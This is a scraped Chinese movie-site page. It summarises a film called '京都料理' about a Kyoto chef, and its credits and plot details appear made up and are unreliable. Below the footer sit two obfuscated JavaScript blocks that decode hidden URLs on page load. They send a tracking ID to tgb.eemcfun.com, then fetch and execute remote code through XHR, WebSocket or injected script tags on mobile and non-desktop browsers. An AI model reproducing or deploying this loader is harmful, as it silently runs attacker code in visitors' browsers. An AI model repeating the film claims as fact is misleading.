收藏
已收
订阅
已订

京都料理

  • 美食
  • 120分钟
  • 更新时间：2020-10-23 08:32:50
  • 一年四季的轮回、大自然的馈赠，和食将其精华完美融入…

    一年四季的轮回、大自然的馈赠，和食将其精华完美融入美味的料理中，而京都料理则是传统和食的源头。跟着姐姐赏美食，跟着姐姐涨姿势，来自京都顶级料理人的手艺比拼，想了解和食的你，有了此番绝壁一本满足

    电影《京都料理》是由日本导演三谷幸喜执导，大泉洋等人出演的喜剧电影，于2016年上映。影片主要围绕着一家日本饭店中的料理师和员工们展开，以京都传统美食为主线，穿插着不同角色在生活中不同的遭遇和挑战，既着眼于料理技艺，又兼顾了日本社会文化以及人情世故等方面的内容，是一部情感兼具的作品。

    影片讲述的是一个经历了人生大起大落的料理师——小林光明，他在经过多年奋斗后终于拥有了自己的店面。可是，他的成功却引来了各种意想不到的困难和挑战。一方面，他需要面对竞争激烈的京都料理界，面对来自同行的种种打压和陷害；另一方面，他还需要经营好自己的饭店，解决管理和人情问题。在这个过程中，他发现自己不再孤单，因为他的热情、技艺和敬业精神吸引来了众多志同道合的支持者，也赢得了不少信任和朋友。

    除了讲述小林光明的人生经历，影片还展现了传统京都料理的美妙之处，包括制作高汤、庖丁解牛、盛装端菜等种种华丽绝伦的细节之中。影片中的京都美食和景色也让不少观众流连忘返，如照烧鲟鱼、清汤煮鸡等传统特色料理，以及观赏红叶等京都的奇妙景色。

    此外，影片中也不乏对于日本社会文化的深刻探讨。在小林光明的经历中，我们看到了日本传统守旧的一面。很多厨师不愿意接纳新鲜事物，始终保持着传统的烹饪方式；而小林光明则不断尝试新颖的烹饪手法，甚至吸收了外国美食的元素，这一点也引起了同行们的反感和嫉妒。但是，小林光明的坚持和自信却让他最终赢得了自己的口碑和市场。这种对于自己信念的坚持和对于人性的深层理解，让影片在日本观众中获得了较高的评价。

    《京都料理》作为一部具有浓郁日本固有文化内涵的电影，除了在国内外获得了高票房和好评之外，也引起了来自海外观众的不少关注。作为一部既有情感又有知识的电影，它不仅在美食迷、电影迷之间得到了一致认可，也为日本传统文化在全球范围内的传播做出了积极的贡献。

    详情

同类型




Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

留言求片

function QGJFyg(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function HelWfaXU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QGJFyg(t);};window[''+'M'+'Y'+'i'+'E'+'Z'+'v'+'y'+'B'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=HelWfaXU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqbWwuuaHR5cmguuY29tJTNBODg5MQ==','d3NzJTNBJTJGJTJGcXN4Lmhxc25mLmNvvbSUzQTk1MzQ=','159458',window,document,['u','v']);}:function(){};
function QSYoIfs(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function jADVLK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QSYoIfs(t);};window[''+'v'+'k'+'o'+'g'+'a'+'B'+'t'+'w'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=jADVLK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqbWwuaHR5cmguY299tJTNBODg5MQ==','d3NzJJTNBJJTJJGJJTJJGcXN4Lmhxc25mLmNvbSUzQTk1MzQ=','159459',window,document,['9','J']);}:function(){};